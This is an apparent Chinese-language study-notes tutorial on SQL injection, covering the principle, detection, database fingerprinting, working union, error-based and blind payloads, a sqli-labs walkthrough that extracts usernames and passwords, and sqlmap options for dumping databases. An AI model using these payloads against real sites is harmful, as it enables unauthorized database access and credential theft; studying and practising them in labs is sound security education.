入门 SQL 注入¶
01 SQL 注入概述¶
0101 SQL 语言介绍¶
SQL 语句分为六类¶
- 数据查询语言 DQL:SELECT / WHERE / ORDER BY / GROUP BY / HAVING
- 数据操作语言 DML:INSERT / UPDATE / DELETE
- 数据控制语言 DCL:GRANT / REVOKE
- 数据定义语言 DDL:CREATE / ALERT / DROP
- 事务控制语言 TCL: COMMIT / SAVEPOINT / ROLLBACK
- 指针控制语言 CCL: DECLARE CURSOR / FETCH INTO / UPDATE WHERE CURREN
SQL 常用操作示例¶
CREATE DATABASE database_name;
# 创建数据库DROP DATABASE database_name;
# 删除数据库CREATE TABLE table_name (column1 type, column2 type, …);
# 创建表DROP TABLE table_name;
# 删除表SELECT column1, column2, … FROM table_name;
# 查询表中指定列SELECT column1, column2, … FROM table_name WHERE condition;
# 添加查询条件SELECT column1, column2, … FROM table_name WHERE condition1 AND|OR condition2;
# 添加多个查询条件SELECT column1, column2, … FROM table_name ORDER BY column1, column2, … ASC|DESC;
# 查询表中数据并对结果排序SELECT column FROM table1 UNION SELECT column FROM table2;
# 查询多个表,其中各个表查询的列数要相同SELECT CASE WHEN condition THEN result1 ELSE result2 END;
# 类似 if 语句的查询方法INSERT INTO table_name (column1, column2, …) VALUES (value1, value2, …);
# 向表中插入数据UPDATE table_name SET column1=value1, column2=value2, … WHERE condition;
# 更新表中满足条件的数据DELETE FROM table_name WHERE condition;
# 删除表中满足条件的数据
0102 SQL 注入原理¶
客户端 → 脚本引擎 → 数据库 → 脚本引擎 → 客户端
攻击者在向应用程序提交输入时,通过构造恶意SQL语句,最终改变应用开发者定义的SQL查询语句的语法和功能
select * from users where username='admin' or '1'='1' and password='1';
# and的优先级比or高 select * from users where username='admin' or 1=1#' and password='1';
# 井号注释后面的语句
02 SQL 注入检测方法¶
0201 寻找 SQL 注入¶
SQL 注入可分为三步¶
- 识别WEB应用与数据库交互的可能输入
- GET 参数
- POST 参数
- Cookie
- X-Forwarded-For
- User-Agent
- Referer
- Host
- SQL 注入语句测试
- 根据服务器返回判别注入语句是否影响了 SQL 执行结果以判断是否存在 SQL 注入
SQL 注入按照注入参数类型分为两类¶
(两类的区别在于是否使用单引号闭合)
- 数字型注入
- http://test.com/shownews.php?id=1
SELECT * FROM news WHERE news_id=1;
- 字符型注入
- http://test.com/show.php?name=apple
SELECT * FROM fruits WHERE name='apple';
各种数据库的字符串连接方式¶
- Oracle:
'||'
- DB2:
'||'
- SQL Server:
'+'
- MySQL:
' '
0202 确认 SQL 注入¶
确认数据库类型的方式¶
- 基于应用开发语言判断
- Oracle:JAVA
- DB2:JAVA
- SQL Server:C# / ASP / .NET
- MySQL:PHP / JAVA
- 基于报错信息判断
- Oracle:
### Error querying database. Cause:java.sql.SQLSyntaxErrorException: ORA-01756: quoted string not properly terminated
(关键字:ORA) - SQL Server:
Microsoft OLE DB Provider for SQL Server 错误 ‘80040e14
(关键字:SQL Server) - MySQL:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “1” LIMIT 0,1’ at line 1
(关键字:MySQL)
- Oracle:
-
基于特有函数 / 语句判断
-
基于特有数据表判断
- Oracle:
and (select count(*) from sys.user_tables)>0
- DB2:
and (select count(*) from sysibm.systables)>0
- SQL Server:
and (select count(*) from sysobjects)>0
- MySQL:
and (select count(*) from information_schema.tables)>0
- Oracle:
SQL 注入按照注入方式分为两类¶
- 显示注入
union query
# 联合查询注入,通过union联合查询获取查询结果error based
# 报错注入,通过报错信息获取查询结果
- 盲注
boolean based blind
# 布尔盲注,通过应用返回不同的值推断条件真假time based blind
# 时间盲注,通过不同的时间延迟推断条件真假
效率优先级:union query
≥ error based
> boolean base blind
> time based blind
union query¶
提前:页面可以显示数据库查询结果
id=1 ORDER BY 5
#猜测字段数id=-1 UNION SELECT 1,2,3,4,5
#测试哪个字段有回显id=-1 UNION SELECT 1, concat(user(), 0x2b, database()), 3, 4
#获取数据库用户和数据库名id=-1 UNION SELECT 1, group_concat(distinct table_name), 3, 4 FROM information_schema.tables WHERE table_schema=database()
#获取表名id=-1 UNION SELECT 1, group_concat(distinct column_name), 3, 4 FROM information_schema.columns WHERE table_name='user'
# 获取列名id=-1 UNION SELECT 1, concat(id, 0x2b, name, 0x2b, password), 3, 4 FROM user
#获取具体数据
sqli-labs 靶场练习:
- [
http://192.168.10.10:8081/Less-1/?id=1](http://192.168.10.10:8081/Less-1/?id=1)' ORDER BY 3%23
#判断字段数 - [
http://192.168.10.10:8081/Less-1/?id=1](http://192.168.10.10:8081/Less-1/?id=1)' AND 1=2 UNION SELECT 1,2,3%23
# 测试哪个字段有回显 - [
http://192.168.10.10:8081/Less-1/?id=1](http://192.168.10.10:8081/Less-1/?id=1)' AND 1=2 UNION SELECT 1,2, concat(user(), 0x2b, database())%23
#获取数据库用户和数据库名 - [
http://192.168.10.10:8081/Less-1/?id=1](http://192.168.10.10:8081/Less-1/?id=1)' AND 1=2 UNION SELECT 1,2, group_concat(DISTINCT table_name) FROM information_schema.tables WHERE table_schema=database()%23
#获取表名 - [
http://192.168.10.10:8081/Less-1/?id=1](http://192.168.10.10:8081/Less-1/?id=1)' AND 1=2 UNION SELECT 1,2, group_concat(DISTINCT column_name) FROM information_schema.columns WHERE table_name='users'%23
# 获取列名 - [
http://192.168.10.10:8081/Less-1/?id=1](http://192.168.10.10:8081/Less-1/?id=1)' AND 1=2 UNION SELECT 1,2,concat(id, 0x2b, username, 0x2b, password) FROM users WHERE id=5%23
#获取具体数据
error based¶
前提:应用可以输出数据库报错信息
AND (SELECT 1 FROM (SELECT count(*), concat(version(), floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
AND 1=(updatexml(1, concat(0x3a, (SELECT user())), 1))
AND extractvalue(1, concat(0x5c, (SELECT user())))
AND exp(~(SELECT * FROM (SELECT user())a))
boolean based blind¶
前提:条件真假页面有差别,可区分。可根据返回页面不同判断条件真假
需要一位一位字符猜解,常用的函数 substr
/ ascii
/ mid
if (substr(flag, 1, 1) in (0x66), 3, 0)
SELECT CASE WHEN ascii(mid((SELECT flag FROM flag), 1, 1))=65 THEN ‘A’ ELSE ‘B’ END
CASE WHEN 1=1 THEN 1 ELSE 1/0 END
SELECT user FROM user WHERE user=(SELECT CASE WHEN ascii(mid((SELECT pass FROM user LIMIT 0, 1), 1, 1))>0 THEN ‘admin’ ELSE ‘ ‘ END);
time based blind¶
前提:在其他注入方式使用不了的情况下才会考虑时间盲注,需要借助时间延迟函数或其他方式达到时延的效果来判断条件真假
if(substr(flag, 1, 1) in (0x66), sleep(2), 0)
SELECT CASE WHEN ascii(mid((SELECT flag FROM flag), 1, 1))=65 THEN benchmark(100000, sha1('1 ')) else '' END
SELECT user FROM user WHERE id=1 AND if(substr(pass, 1, 1)in(0x70),sleep(2), 0);
03 SQL 注入工具使用¶
0301 sqlmap 使用介绍¶
sqlmap 是一款自动化进行SQL注入的强大利器, https://sqlmap.org
sqlmap 常用参数¶
--users
#列出所有用户—current-user
#列出当前用户—is-dba
#查看当前用户是否为数据库管理员—dbs
#列出所有数据库—current-db
#查看当前数据库-D "数据库名" —tables
#查表名-D "数据库名" -T "表名" —columns
#查列名-D "数据库名“ -T "表名" -C "列名" —dump
#查列名—data "POST 数据"
#POST请求注入-r r.txt
#将整个请求数据包保存为r.txt进行注入
最后更新: November 17, 2022
创建日期: November 17, 2022
创建日期: November 17, 2022